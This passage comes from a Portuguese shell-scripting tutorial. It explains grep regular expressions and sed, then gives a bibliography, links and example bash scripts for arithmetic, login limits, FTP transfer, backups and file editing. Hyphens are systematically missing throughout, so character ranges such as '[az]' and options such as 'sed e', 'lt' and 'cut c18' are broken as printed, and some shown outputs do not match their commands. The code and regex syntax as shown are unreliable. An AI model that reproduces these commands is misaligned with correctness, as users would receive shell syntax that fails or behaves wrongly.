[ak] é o mesmo que [abcdefghijk]
[AC] é o mesmo que [ABC]
[ACak] é o mesmo que [ABCabcdefghijk]
Existem também algumas formas alternativas:
[[:alpha:]] é o mesmo que [azAZ]
[[:upper:]] é o mesmo que [AZ]
[[:lower:]] é o mesmo que [az]
[[:digit:]] é o mesmo que [09]
[[:alnum:]] é o mesmo que [09azAZ]
[[:space:]] casa com qualquer quantidade de espaços,
inclusive tabulações
Essas formas alternativas, como [[:digit:]] é preferível ao método direto, [09].
Os [ ] podem ser usado para indicar caracteres que NÃO devem estar na expressão. É
só colocar o sinal ^ na primeira posição da lista. Veja:
virtvs@mucuripe:~$ echo hello | grep "[Hh]ello"
hello
virtvs@mucuripe:~$ echo hello | grep "[^Hh]ello"
virtvs@mucuripe
Outro exemplo, um pouco mais complicado:
grep "([^()]*)a" file retorna qualquer linha contendo um par de parentes seguido por "a" e que NÃO
contenham outros parênteses dentro. Assim, ele casa com essas linhas:
(hello)a
(aksjdhaksj d ka)a
Mas não com: x=(y+2(x+1))a
Casando com um número especifico de repetições Suponha que você queira casar um
número específico de repetições de uma expressão. Um bom exemplo são números de telefones.
Você pode procurar por um número de telefone com sete dígitos,
assim:
grep "[:digit:]\{3\}[ ]\?[:digit:]\{4\}" file
Ou seja, três dígitos, opcionalmente um espaço ou um hífen e mais 4
dígitos.
Procurando por começo e fim de linha: Isso é muito interessante. Digamos que você
queira procurar por linhas que contendo espaços em brancos no começo da linha, a palavra hello e
então o fim da linha. Vamos começar com este
exemplo:
>cat file
hello
hello world
hhello
Adbeel Goes Filho
ShellScripts 105
>grep hello file
hello
hello world
hhello
Isso não é o que nós queremos. O que está errado ? O problema é que o grep procura
por linhas contendo a string hello e todas as linhas especificadas contem ela. Para contornar isso,
introduzimos os caracteres de começo e fim de linha:
"O caracter ^ significa começo de linha e o $ significa fim da linha"
Retornando ao nosso exemplo:
grep "^[[:space:]]*hello[[:space:]]*$" file
Ou seja, o começo da linha, qualquer quantidade de espaço em branco (inclusive zero),
a palavra hello, qualquer quantidade de espaço em branco e o fim da linha. Essa expressão faz o que
a gente quer, retornando somente a linha que contém a palavra hello. Outro exemplo:
grep "^From.*Alex" /var/spool/mail/neo
Procura no meu inbox por mensagens de uma pessoa em particular (no caso, Alex).
Esse tipo de expressão regular é extremamente útil e filtros de email, como o procmail, utilizam
isso para fazerem tudo.
Isso ou Aquilo: Procurando uma coisa OU outra:
"A expressão consistindo de duas expressões separadas pelo operador OU \| casa linhas contendo
uma das duas expressões"
Note que você DEVE colocar a expressão dentro de aspas simples ou duplas:
grep "cat\|dog" file casa com linhas contendo
a palavra "cat" ou a
palavra "dog"
grep "I am a \(cat\|dog\)" casa com linhas
contendo a string "I am
a cat" ou a string "I am a dog".
Usando backreference (referência anterior)
Digamos que você queira procurar strings que contenham uma substring em mais de
um lugar. Um exemplo é as tags de cabeçalhos de HTML. Suponha que eu queira procurar por
"<H1>alguma string</H1>". Isto é fácil de se fazer. Mas suponha que eu queira fazer o mesmo, mas
permita H2 H3 H4 H5 e H6 no lugar de H1. A expressão <H[16]>.*</H[16]> não é boa, desde
que casa com "<H1>alguma string</H3>" e nos queremos que a tag de abertura seja igual a de
fechamento. Para fazermos isso, usamos backreference:
"A expressão \n onde n é um número, casa com o conteúdo do nésimo conjunto de parênteses na
Adbeel Goes Filho
ShellScripts 106
expressão".
Nossa... isso realmente precisa de um exemplo!!!!
<H\([16]\)>.*</H\1> faz o que nos queríamos fazer acima...
"O Senhor \(dog\|cat\) e a senhora \1 foram visitar o Senhor \(dog\|cat\) e a senhora \2"
Esse é outro exemplo bobo. Os casais tem sempre que serem iguais. Ou um casal de
cachorro ou de gato.
Alguns detalhes cruciais: caracteres especiais e aspas Caracteres Especiais:
Aqui nós descrevemos os caracteres especiais para RegExp (expressões regulares) no grep. Note que
no "egrep", que usa expressões regulares estendidas (atualmente não tem nenhuma funcionalidade a
mais que as expressões regulares normais do GNU grep), a lista de caracteres especiais são os
mesmos, diferindo somente que alguns não precisar estar "escapados". Os seguintes caracteres são
considerados especiais, e precisam estar escapados:
? \ . [ ] ^
$
Note que o sinal de $ perde seu sentido se tiver caracteres depois dele, do mesmo jeito
que o sinal ^ perde seu sentido se tiver caracteres antes dele. Os colchetes [ ] comportamse um
pouco diferente. A baixo segue as regras para eles:
? O colchete direito ( ] ) perde seu sentido especial se colocado no começo de uma lista, por
exemplo: "[]12]" casa com ] , 1,
or 2.
? Um hífen perde seu significado especial se colocado por último. Assim, [15] casa com 1, 5 ou
? O caracter ^ perde seu sentido se não for colocado em primeiro lugar.
? A maioria dos caracteres especiais perdem seu significado especial se forem colocados dentro de
colchetes.
Aspas:
Em primeiro lugar, aspas simples são mais seguras de usar porque elas protegem suas
expressões regulares de serem alteradas pelo bash (como foi visto nas aulas anteriores). Por
exemplo, grep "!" file vai produzir um erro, já que o shell pensa que "!" está se referindo ao
comando de histórico do shell, enquanto grep '!' file funciona perfeitamente.
Quando você deve usar aspas simples ? A resposta é: se você precisa usar variáveis do
shell, use aspas duplas. Caso contrário, use aspas simples. Por exemplo:
grep "$HOME" file
Procura em file pelo nome do seu diretório pessoal, enquanto grep
'$HOME' file procura pela string $HOME.
Sintaxe das expressões regulares estendidas
Agora vamos ver a sintaxe do egrep em contraste com a sintaxe do grep. Ironicamente,
apesar do nome "estendido", o egrep atualmente tem menos funcionalidade do que quando foi
criado, para manter a compatibilidade com o tradicional grep. A melhor maneira de fazer um grep
estendido é utilizar grep E que usa a sintaxe de expressões regulares estendidas sem perda de
funcionalidade. Bom, espero que vocês tenham tido uma boa idéia de como funcionam as
expressões regulares. Elas são extremamente importante, principalmente para utilizar o grep e o
Adbeel Goes Filho
ShellScripts 107
poderosíssimo sed, do qual trataremos na próxima aula. Não se preocupem se estiverem confuso
com as expressões, quando começarem a utilizálas, as idéias vão clareando.
Adbeel Goes Filho
ShellScripts 108
6. sed
Falaremos agora sobre o sed. Vale lembrar que daremos uma breve introdução ao sed,
ajudando os iniciantes a entender como ele funciona. Portanto muitos comandos mais complexos
serão omitidos, já que seria necessário um livro inteiro para ensinar tudo sobre o Sed. Mas não se
preocupem, ensinaremos o suficiente sobre ele para utilização em shell script.
Resumo de RegExp
Vamos a um resumo sobre as expressões regulares, explicadas na aula anterior e agora aplicadas ao
sed:
^ casa com o começo de linha
$ casa com o fim de linha
. casa com qualquer caracter simples (apenas um)
(caracter)* casa com qualquer ocorrência, em qualquer quantidade, de (caracter)
(caracter)? casa com zero ou uma ocorrência de (caracter)
[abcdef] casa com qualquer caracter dentro dos [ ] (neste caso, a b c d e ou f),
faixas de caracteres como [az]
são permitidas.
[^abcdef] casa com qualquer caracter NÃO incluído em [] (neste caso, qualquer
caracter que não seja a b c d e ou f)
(caracter)\{m,n\} casa com mn repetições de (caracter)
(caracter)\{m,\} casa com m ou mais repetições de (caracter)
(caracter)\{,n\} casa com n ou menos (também zero) repetições de (caracter)
(caracter)\{n\} casa com exatamente n repetições de (caracter)
\(expressão\) operador de grupo.
\n Backreference
casa com o nésimo grupo
expressão1\|expressão2 casa com expressão1 ou expressão2. Funciona com o GNU sed, mas essa
característica pode não funcionar com outros Seds.
Caracteres Especiais
Os caracteres especiais no sed são os mesmo do grep, com uma diferença: a barra
normal / é um caracter especial no sed. A razão disso ficará clara mais para frente quando
estudarmos os comandos do sed.
Como funciona: Uma breve introdução
O sed funciona assim: ele lê da entrada padrão, uma linha de cada vez. Para cada linha,
ele executa uma série de comandos de edição e então a linha é escrita na saída padrão. Um exemplo
que mostra como ele funciona: Nós usamos o comando "s", que significa "substitute" (substituir) ou
"search and replace" (procurar e trocar).
O formato é:
s/expressãoregular/textosubstituto/{flags}
Adbeel Goes Filho
ShellScripts 109
Nós não vamos discutir todas as flags ainda. A única que usamos abaixo é a "g", que
significa "substitua todas as ocorrências":
>cat file
Eu tenho três cachorros e dois gatos
>sed e 's/cachorros/gatos/g' e
's/gatos/elefantes/g' file
Eu tenho três elefantes e dois elefantes
OK, então o que aconteceu? Primeiro o sed leu a linha do arquivo
"file" e executou:
s/cachorros/gatos/g
que produziu o seguinte texto:
Eu tenho três gatos e dois gatos
e então o segundo comando foi executado na linha já editada e resultou:
Eu tenho três elefantes e dois elefantes
Nós atualmente damos um nome para o texto (geralmente uma linha) que o sed leu e
está processando (editando): ele chamase "pattern space" (uma boa tradução seria "área de
edição"). O sed lê da entrada padrão e joga na sua área de edição, executando nela uma seqüência de
comandos de edição e então ele escreve o resultado na saída padrão.
Comandos de Substituição e Deleção
Primeiro, as maneiras mais usuais do sed é a seguinte:
>sed e 'comando1' e 'comando2' e
'comando3' arquivo
>{comando shell} | sed e 'comando1' e
'comando2'
>sed f sedscript.sed arquivo
>{comando shell} | sed f sedscript.sed
Então, o sed pode ler do arquivo ou da entrada padrão, e os comandos podem ser especificados em
um arquivo de script ou na linha de comando. Esse arquivo, chamado sedscript.sed é um arquivo
que contém todos os comandos do sed, ao invés de serem especificados na linha de comando. Esses
sed's scripts são úteis quando precisamos de um processamento de texto mais complexo e refinado.
Note o seguinte: se os comandos são lidos de um arquivo (sed script), espaços em branco podem ser
fatais. Eles podem fazer o script falhar sem explicação aparente. Eu recomendo editar os arquivos de
comandos do sed com um editor como o VIM que pode mostrar o final da linha e você pode ver se
existem espaços em branco entre os comandos e o fim da linha.
Comando de Substituição
O formato para o comando de substituição é o seguinte:
Adbeel Goes Filho
ShellScripts 110
[endereço1[,endereço2]]s/procura/substituto/[f
lags]
As flags podem ser as seguinte:
n troca a nésima ocorrência
(na linha) do
texto "procura" por "substituto"
g troca todas as ocorrências (na linha) do texto "procura" por "substituto"
p imprime a "área de edição" para a saída padrão se ocorrer uma substituição com sucesso
w arquivo imprime a "área de edição" para arquivo se ocorrer uma substituição com sucesso
O comando de Deleção
A sintaxe desse comando é muito simples. Ai vai:
[endereço1[,endereço2]]d
Isto deleta o conteúdo da "área de edição" (se esta casar com os endereços fornecidos). Todos os
comandos seguintes serão pulados (já que não a nada a fazer com uma área de edição em branco) e
uma nova linha será lida e jogada na área de edição e todo o processo se repete.
Exemplos:
Exemplo 1:
>cat file
O gato preto foi caçado por um cachorro marrom.
>sed e 's/preto/branco/g' file
O gato branco foi caçado por um cachorromarrom.
Exemplo 2:
>cat file
O gato preto foi caçado por um cachorro marrom.
Adbeel Goes Filho
ShellScripts 111
O gato preto não foi caçado por um cachorro marrom.
>sed e '/não/s/preto/branco/g' file
O gato preto foi caçado por um cachorro marrom.
O gato branco não caçado por um cachorro marrom.
Neste caso, a substituição é aplicada somente a linhas que casam com a expressão regular "/não/".
Portanto, ela não é aplicada a primeira linha, pois esta não contem a palavra "não".
Exemplo 3:
>cat file
linha 1 (um)
linha 2 (dois)
linha 3 (três)
Exemplo 3a:
>sed e '1,2d' file
linha 3 (três)
Exemplo 3b:
>sed e '3d' file
linha 1 (um)
linha 2 (dois)
Exemplo 3c:
>sed e '1,2s/linha/LINHA/' file
LINHA 1 (um)
LINHA 2 (dois)
linha 3 (três)
Exemplo 3d:
>sed e '/^linha.*um/s/linha/LINHA/' e
'/linha/d' file
LINHA 1 (um)
3a : Este foi bem simples: Nós apenas deletamos as linhas de 1 até 2
3b : Isto também foi simples: Nós deletamos a linha 3.
3c : Neste exemplo, nós fizemos uma substituição nas linhas 1 até 2.
3d : Agora este é mais interessante e merece algumas explicações.
O primeiro comando vai procurar "^linha.*um" e substituir "linha" por "LINHA", ou
seja, somente a primeira linha casa com essa expressão regular. O segundo comando diz para o sed
deletar linhas que contenham a palavra "linha". Assim, somente as duas últimas linhas serão
Adbeel Goes Filho
ShellScripts 112
deletadas, já que a primeira teve palavra "linha" substituída por "LINHA".
Exemplo 4:
>cat file
olá
Este texto será cortado
olá (também será retirado)
ReTiRaDo Também!!!
tchau
(1) Este texto não foi apagado
(2) nem este ... ( tchau )
(3) nem este
olá
mas este será
e este também
e a menos que nós encontremos outro tch*u
cada linha até o final do texto será
apagada
>sed e '/olá/,/tchau/d' file
(1) Este texto não foi apagado
(2) nem este ... ( tchau )
(3) nem este
Isto mostra como o endereçamento funciona quando dois endereços são especificados.
O sed encontra o primeiro casamento da expressão "olá" e deleta todas as linhas lidas na área de
edição até ele encontrar a primeira linha que contém a expressão "tchau" (está também será
apagada). Ele não aplica mais o comando de deleção para nenhuma linha até encontrar novamente a
expressão "olá". Desde que a expressão "tchau" não ocorre mais em nenhuma linha subseqüente, o
comando de deleção é aplicado até o final do texto. Resumindo, é simples: Quando ele encontra o
primeiro endereço ("olá") ele passa a executar os comandos até encontrar o segundo endereço
("tchau") ou o fim do texto. E isso se repete até acabar o texto.
Exemplo 5:
>cat file
http://www.kernel.org/
>sed e
's@http://www.kernel.org@http://www.metalab.un
c.edu@' file
http://www.metalab.unc.edu/
Note que nós usamos um delimitador diferente, @ para o comando de substituição. O
sed permite diversos delimitadores para o comando de substituição, incluindo @ % , ; : Esses
delimitadores alternativos são bons para substituições que incluem string como nome de arquivos e
outras que contém barra normal /, o que torna o código do sed muito mais legível.
Adbeel Goes Filho
ShellScripts 113
Mais alguns comandos Aqui veremos mais alguns comandos sobre o sed, a maioria
deles mais complexos. Dependendo da aplicação em que vocês forem usar o sed, dificilmente
usarão esses recursos, a menos que precisem de um processamento de texto mais refinado e
complexo. Veja que eles são muito usado nos scripts do sed (não confunda com shellscript).
Backreference no Sed
Uma das coisas legais sobre backreference no sed é que você pode usar não apenas em
procura de textos mas também na substituição de textos.
O comando Quit
O comando quit ou "q" é muito simples. Ele simplesmente termina o processamento.
Nenhuma outra linha é lida para a área de edição ou impressa na saída padrão.
Subrotinas
Nós agora introduzimos o conceito de subrotinas no sed:
No sed, as chaves { } são usadas para agrupar comandos. Elas são usadas dessa
maneira:
endereço1[,endereço2]{comandos}
Exemplo: Encontrar uma palavra de uma lista num arquivo
Este exemplo faz um bom uso dos conceitos descritos acima. Para isto, nos usamos um
shellscript, desde que os comandos são muito longos e precisaríamos escrever a longa string X
várias vezes. Note que usamos aspas duplas, já que a variável $X precisa ser expandida pelo shell. A
sintaxe para rodar esse script é: "script arquivo",onde "script" é o nome dado ao script e "arquivo" é
o nome do arquivo a procurar uma palavra da lista.
#!/bin/sh
X='word1\|word2\|word3|\word4|\word5'
sed e "
/$X/!d
/$X/{
s/\($X\).*/\1/
s/.*\($X\)/\1/
q
}" $1
Uma nota importante: é tentador pensar que:
s/\($X\).*/\1/
s/.*\($X\)/\1/
é redundante e tentar encurtála para:
Adbeel Goes Filho
ShellScripts 114
s/.*\($X\).*/\1/
Mas isto não funciona. Por que? Suponha que temos a linha:
word1 word2 word3
Nós não temos como saber se $X vai casar com word1, word2 ou word3, então quando
nós citamos ele (\1), nós não sabemos quais dos termos está sendo citado. O que está sendo usado
para certificarse que não há problemas na correta implementação, é isto:
"O operador * é guloso. Ou seja, quando há ambigüidade sobre qual (expressão)* pode casar, ele
tentar casar o máximo possível."
Então neste exemplo, s/\($X\).*/\1/ , .* tenta engolir o máximo da linha possível, em
particular, se a linha contém isso:
"word1 word2 word3"
Então nós podemos ter certeza que .* casa com " word2 word3" e portanto $X seria
word1. Não se preocupem se não entenderam muito bem este tópico. Ele é complicado mesmo e
pouco usado. O importante é entender como ele funciona, o uso de regexp e do comando de
substituição e deleção. Para maiores informações sobre o sed, dê uma olhada na sua man page:
"man sed" . Espero que vocês tenham gostado desse pequeno tutorial sobre sed.
Linguagens Complementares
AWK
Exemplo: exibir a terceira, quarta e nona colunas do saida de um comando
ls l /home/satis | awk ' {print $3, $r, $9}'
PHP
Adbeel Goes Filho
ShellScripts 115
Capitulo 6. Bibliografia
ADBEEL Goes, Adbeel. Programação ShellScript. VIRTVS Engenharia e Informática
Ltda. Fortaleza, Outubro de 2001.
ALEX Borro, Alex. Tutorial de Shell Script
RRM2000 Raimundo, Rodivaldo Marcelo. Curso Básico de Programação em Posix
ShellScript. Book Express. Rio de Janeiro, 2000.
JULIO Neves, Júlio Cezar. Programação Shell Linux, 3ª Edição, Editora Brasport,
ISBN 8574521183
SAADE Saade, Joel. BASH Guia de Consulta Rápida, Editora Novatec, ISBN 85
75220063
Adbeel Goes Filho
ShellScripts 116
Capitulo 7. Apêndice A – Endereços Internet
1 Guia focalinux http://www.focalinux.org
2 AdvBashScrHOWTO http://www.linuxdoc.org
3 Programação de Shell Scripts http://unsekurity.virtualave.net/txts/shscript.txt
4 UNIX Bourne Shell Programmin http://www.torget.se/users/d/Devlin/
shell
5 Bash FAQ ftp://ftp.cwru.edu/pub/bash/FAQ
6 Bash Reference Manual http://www.gnu.org/manual/bash2.02/bashref.html
7 BourneAgain SHell Home Page http://cnswww.cns.cwru.edu/~chet/bash/bashtop.html
8 Underlinux http://sh.underlinux.com.br
9 Expressões Regulare http://guiaer.sourceforge.net
10 sedHOWTO http://verde666/sed
11 Programação em Shell Script
http://www.jonathas.com.br/manual
shell
.txt
12 UNIX Power Tools http://docs.online.bg/OS/unix_power_tools/index.htm
13 Linux: Programação Shell http://www.brasport.com.br
14 Verdade Absoluta http://www.absoluta.org
15 Wargames www.pulltheplug.com
www.hackerslab.org
16 Lista de discussão nacional sobre http://br.groups.yahoo.com/group/shellscript
Shell Script
17 Dicas http://www.semlimites.com.br/informatica/informatica_
software_sistemasoperacionais_unix_linux.shtm
18 IBMAIX http://www.ibm.com
19 Unix – Perguntas e respostas http://www.klingon.com.br/unix/unix.html
20 Introdução ao Unix http://www.nicke.fenixnet.ccom.br/unix.html
21 Criando programas usando o htttp://www.icmsc.sc.usp.br/manuais/UNIX
Shell
Adbeel Goes Filho
ShellScripts 117
Capitulo 8. Anexos
Adbeel Goes Filho
ShellScripts 118
1. Exemplos
7. Matemática
Soma de n números naturais
#!/bin/sh
clear
echo "Qual o número ?"
read n
soma=0
for w_i in $(seq 1 $n ) ;
do
soma=$( expr $soma + $w_i)
done
echo "A soma dos $n primeiros números naturais é $soma"
exit 0
Fatorial
#!/bin/sh
clear
read p "Qual o número para o cálculo do fatorial ?" n
if [ $n le 0 ];
then
echo "Não existe fatorial de número negativo"
exit 1
fi;
fatorial=1
for w_i in $( seq 1 $n ) ;
do
fatorial=$[ $fatorial * $w_i ]
done
echo "O fatorial de $n é $fatorial"
exit 0
Adbeel Goes Filho
ShellScripts 119
8. Acesso
Como ter apenas um login por usuário
#!/bin/sh
# vi /usr/bin/login_unico
VAR=`who | cut c18 | tr d "\040" | grep n "^\'echo $LOGNAME\`$" |wc l`
if [ $VAR gt 1 ] && [ $LOGNAME = "root" ]
then
echo MENSAGEM DE LOGIN INVALIDO
sleep 10
exit
fi
# chmod 755 login_unico
# vi /etc/profile
...
Como repetir os últimos comandos no Unix
Arquivo de controle : $HOME/.sh_history
Total de cmds .........: 171 (em media)
Ativacao .................: set o vi
Shell responsável .....: ksh
Inclua o comando de ativação no arquivo $HOME/.profile.
Incluir no arquivo /etc/passwd:
... ... usuario:senha:nr_usuario:grupo:comentario:dir_trabalho:/bin/ksh
Para mostrar e executar os últimos comandos tecle ESCape "k"
Transferência de arquivos em redes TCP/IP (Script Shell)
Crie no /usr/bin um arquivo chamado envia e outro recebe com os seguintes conteúdos:
Arquivo envia:
#!/bin/sh
a=$1
shift
ftp i $a > $HOME/ftp.log <<EOF
bin
mput $*
quit
EOF
Arquivo recebe:
#!/bin/sh
a=$1
shift
ftp i $a > $HOME/ftp.log <<EOF
Adbeel Goes Filho
ShellScripts 120
bin
mget $*
quit
EOF
Troque as permissões dos arquivos para :
# chmod 755 /usr/bin/envia /usr/bin/recebe
# chown root /usr/bin/envia /usr/bin/recebe
# chgrp root /usr/bin/envia /usr/bin/recebe
Sintax :
# envia machine arquivo ou
# recebe machine arquivo
9. Conversão de letras maiúsculas para minúsculas
#!/bin/bash
# renomeia arquivos que tenham nome em maiusculas para o equivalente em minusculas
[ $# lt 1 ] && {
echo "*** Erro: você precisa passar os arquivos que quer renomear"
echo "Uso: Mminusculas arquivo1 [arquivoN]"
exit
}
# repare que o for a seguir nao tem o "in listadeargumentos"!
for maiuscula
do
[ e "$maiuscula" ] || {
echo "$maiuscula não existe, continuando com o próximo arquivo"
continue
}
minuscula=$( echo $maiuscula | tr AZ az )
mv $maiuscula $minuscula
done
10. Backup
#!/bin/bash
# OBS.: Por favor melhore este script! :)
# Se o número de parâmetros for menor que 2...
[ $# lt 2 ] && {
echo "Uso: `basename $0` destino origem [origem2 origem3...]"
exit 1 # ... sai do script
}
Adbeel Goes Filho
ShellScripts 121
echo "> Fazendo backup"
FILE="${1}_$(/bin/date +%d%m%Y).tgz"
shift
# Aqui está o "segredo": o shift acima é executado para que eu possa usar "$*" no if abaixo.
if tar czf $FILE $* ; then
echo "Backup feito com sucesso"
else
echo "ERRO" 1>&2
exit 1
fi
11. Visualizar HOWTO
#!/bin/bash
#
# *********************************************
# * Script para visualizar HOWTOs rapidamente *
# *********************************************
# http://meleu.da.ru
# meleu <meleu@meleu.cjb.net>
# Inspirado em um outro script que vi no TipsHOWTO.
# O script do TipsHOWTO era muito simples, fiz algumas
# modificações que são interessantes para nós que falamos
# português e de vez em quando temos uns HOWTOs traduzidos,
# e ainda fiz um "suporte" aos miniHOWTOs. ;)
# E mais: se você não lembra direito do nome do HOWTO, pode
# passar apenas a(s) primeira(s) letra(s) e/ou usar os curingas
# ('*', '?' e '[]'), mas aconselhase, neste último caso, o uso de
# aspas ("quoting") para evitar que seja passado como parâmetro(s)
# o conteúdo do diretório atual. Caso ele encontre mais de um
# arquivo para a expressão você poderá escolher através da tela que
# aparecerá.
# Exemplos:
# [prompt]$ howto Net
# [prompt]$ howto "*[Bb]ash"
# [prompt]$ howto "*Prog"
#
# Se você ainda não tem e não sabe onde pegar HOWTOs traduzidos
# procure em http://ldpbr.conectiva.com.br
#
# Prérequisitos para o script funcionar direitinho (ou seja, sem
# precisar de alterações):
# + os HOWTOs devem estar em "/usr/doc/LinuxHOWTOs";
# + os HOWTOs em português devem estar em "/usr/doc/LinuxHOWTOs.pt";
Adbeel Goes Filho
ShellScripts 122
# + os miniHOWTOs devem estar em "/usr/doc/LinuxminiHOWTOs";
# + todos os [mini]HOWTOs[.pt] devem estar gzipados, se os seus não
# estão assim basta entrar no diretório dos HOWTOs e digitar
# "gzip *".
#
#
# Se você testou o script, ele funcionou direitinho e você gostou,
# então digite "cp howto.sh /usr/local/bin/howto" para que todos do
# seu sistema possam utilizálo. ;)
#
# Aproveite!
# Estes são os diretórios onde são instalados os [mini]HOWTOs no
# Slackware. Se a sua distribuição usa um diretório diferente
# mude a(s) variável(is) a seguir.
HTDIR=/usr/doc/LinuxHOWTOs
miniHTDIR=/usr/doc/LinuxminiHOWTOs
PTHTDIR=/usr/doc/LinuxHOWTOs.pt # este é onde eu coloco os traduzidos
# Variáveis que indicam as cores (pra não precisar ficar
# digitando os códigos ANSI toda hora)
BLUE="\e[1;34m"
RED="\e[1;31m"
NCOLOR="\e[m"
function Ler {
zless $1
echo e "${RED}\nTchau!\n$NCOLOR"
exit
}
# Função que mostra a lista dos HOWTOs e sai do script.
function Lista {
ls C $HTDIR | less
echo e "
${BLUE}Uso:$NCOLOR `basename $0` [p | m] nomedoHOWTO
Faça '`basename $0` h' para ver a descrição das opções."
exit 1
}
# se não for passado nenhum parâmetro ele mostra a lista
[ z "$1" ] && Lista
#
# TESTA PARÂMETROS
Adbeel Goes Filho
ShellScripts 123
#
case $1 in
# mensagem de ajuda
#
h) echo e "
${RED}[ Lista de opções ]$NCOLOR
p \t HOWTOs em português
m \t miniHOWTOs
h \t imprime esta mensagem
"
exit # depois da mensagem de ajuda, sair
;;
# HOWTOs em português
#
p) HTDIR=$PTHTDIR
[ z "$2" ] && Lista
shift # Lembra do 'shift'? Aqui ele faz com que o primeiro
# parâmetro deixe de ser 'p' para ser o nomedoHOWTO
;;
# miniHOWTOs
#
m) HTDIR=$miniHTDIR
[ z "$2" ] && Lista
shift # mesma função do shift no 'p'
;;
esac # Ao fim deste case $1 tem necessariamente o nome ou a(s)
# primeira(s) letra(s) do nome do HOWTO a ser procurado.
cd $HTDIR
FILE=`ls $1*.gz 2>/dev/null`
[ `echo $FILE | wc w` gt 1 ] && {
PS3="Entre com o número: "
select opc in $FILE Sair ; do
[ "$opc" = "Sair" ] && exit
for HOWTO in $FILE ; do
[ "$opc" = "$HOWTO" ] && Ler $HOWTO
done
done
Adbeel Goes Filho
ShellScripts 124
[ e "$FILE" ] && Ler $FILE
# Isto só será executado se não for encontrado o HOWTO
echo e "${RED}* * * HOWTO não encontrado * * *$NCOLOR"
echo "Tente '`basename $0` [p | m]' para ver a lista"
exit 1
12. todo.sh
#!/bin/bash
PROG=`basename $0`
EDITOR=`which vi`
FILE="$HOME/.ToDo"
USAGE="Uso: $PROG [h|e]"
case $1 in
h) echo "
$USAGE
e edita a lista de \"Para Fazer\" (To Do)
h imprime esta mensagem e sai
Sem parâmetros $PROG irá mostrar a lista de \"ToDo\".
"
exit ;;
e) $EDITOR $FILE
exit ;;
'') cat $FILE 2> /dev/null || {
echo "Você precisa criar o arquivo $HOME/.ToDo !"
echo "Entre \"$PROG e\" para editar seu ~/.ToDo"
echo "Para ajuda tente \"$PROG h\""
exit 1
} ;;
*) echo "Parâmetro \"$1\" desconhecido!"
echo "$USAGE"
echo "Entre com \"$PROG h\" para ajuda."
exit ;;
Adbeel Goes Filho
ShellScripts 125
esac
13. inseretxt.sh
#!/bin/bash
#
# Muitas vezes durante a escrita do texto
# "Programação em BourneAgain Shell" eu precisava
# inserir um código de um script numa determinada
# posição do arquivo e esta posição ficava entre muito texto antes e depois
# dessa linha.
# Para fazer isso de uma maneira mais cômoda, eu escrevi este script.
# Para informações sobre o uso tente o parâmetro 'h' ou
# 'help'.
# Se você passar como o parâmetro "linha" um número maior
# que o de linhas total do "ArqOriginal" os "arquivosN"
# serão inseridos no final do "ArqOriginal".
# Ah! Lembrese de uma coisa: "linha" precisa ser um
# inteiro positivo. E lembrese de mais uma coisa: 0
# não é um número positivo. ;)
# meleu.
#
B="\e[1m"
N="\e[m"
USO="Uso: `basename $0` linha ArqOriginal arquivo1 [arquivoN ...]"
AJUDA="Tente \"`basename $0` help\" para ajuda"
[ "$1" = 'h' o "$1" = 'help' ] && {
echo e "
${B}Insere o conteúdo de arquivo(s) dentro de um outro.$N
$USO
Onde:
\"linha\" é a linha onde o texto será inserido
\"ArqOriginal\" é o arquivo que receberá os textos
\"arquivoN\" são os arquivos que serão inseridos em ArqOriginal
"
exit
}
[ $# lt 3 ] && {
Adbeel Goes Filho
ShellScripts 126
echo e ${B}Erro: erro na passagem de parâmetros$N
echo $USO
echo $AJUDA
exit 1
}
Linha=$1
# verificando se $Linha é um número inteiro positivo
[ `expr $Linha 1 2>/dev/null` ge 0 ] 2>/dev/null || {
echo e ${B}Erro: O primeiro parâmetro precisa ser inteiro positivo$N
echo $AJUDA
exit 1
}
ArqOriginal=$2
[ f $ArqOriginal ] || {
echo e ${B}Erro: \"$ArqOriginal\" não existe ou não é um arquivo regular$N
echo $AJUDA
exit 2
}
function ApagarSair {
rm "$1"
exit $2
}
shift 2
Temp=/tmp/`basename $ArqOriginal`$$.tmp
# > início do arquivo original:
head $[$Linha1] $ArqOriginal > $Temp
# > arquivos que serão inseridos:
ContaAcerto=0
for Arq in "$@"; do
[ f "$Arq" ] || {
echo e ${B}OBS.: \"$Arq\" não existe ou não é um arquivo regular$N
continue
}
cat $Arq >> $Temp
(( ContaAcerto++ ))
done
[ $ContaAcerto eq 0 ] && {
echo e ${B}Nenhum arquivo foi inserido em \"$ArqOriginal\"$N
ApagarSair $Temp 3
Adbeel Goes Filho
ShellScripts 127
}
echo
# > pra terminar, final do arquivo original:
sed n "$Linha,\$p" $ArqOriginal >> $Temp
ArqFinal="$ArqOriginal.new"
[ e $ArqFinal ] && {
echo e ${B}Já existe um arquivo chamado \"$ArqFinal\".$N
read n 1 p "Deseja sobregraválo? (s/N) " SN
echo
[ "$SN" != 'S' a "$SN" != 's' ] && {
echo e "$B\nOperação cancelada!$N"
ApagarSair $Temp 3
}
}
cat $Temp > $ArqFinal
echo e "
${B}Operação concluída com sucesso.$N
Confira em \"$ArqFinal\"
"
ApagarSair $Temp
14. Mextract.sh
#!/bin/sh
#
# ****************************
# * Meleu Extraction Utility *
# ****************************
# http://meleu.da.ru
# Este script é baseado no Phrack Extraction Utility, (mais informações
# <http://www.phrack.org>). Fiz ele, primeiro para praticar, segundo para
# servir como mais um exemplo no texto "Programação em BourneAgain Shell",
# e último para extração dos códigos do texto. =P
#
############# Se já existirem arquivos com o nome dos que serão extraídos
# !CUIDADO! # eles serão sobregravados! Portanto, se você extrair uma vez,
############# alterar o(s) código(s) extraído(s) e extrair novamente, perderá as alterações feitas!
#
#
Adbeel Goes Filho
ShellScripts 128
# A seguir eu vou comentar sobre o código fazendo referência aos tópicos
# do texto "Programação em BourneAgain Shell".
#
#
# + A função do IFS é explicada no tópico "2.2. Variáveis do Shell", neste script eu usei o IFS
com valor nulo (vazio) para que os comandos considerem espaços que vêm antes de qualquer
caractere como parte do dado. Se você fizer por exemplo "read var" e antes de entrar qualquer
# coisa colocar espaços e/ou TAB, você verá que eles serão desconsiderados se o IFS tiver seu valor
default (espaço, TAB, newline);
#
# + A opção r no read (explicada em 3.2. read) serve para ignorar o
# poder que a contrabarra (backslash) tem de "escapar" os caracteres. Em
# outras palavras: a opção r garante que quando o read receber uma
# contrabarra ela será passada para a variável sem nenhum valor especial;
#
# + O cat enviando os dados para o read do while é explicado em
# "5.5. Redirecionando loops" sob o título de "pipeando para o while";
#
# + o set é usado para fazer com que cada palavra (palavra aqui tem um
# sentido de conjunto de caracteres separados por aqueles definidos no
# IFS) vire um parâmetro posicional, conforme explicado em
# "2.4.2. set (para editar parâmetros posicionais)". A opção quer dizer
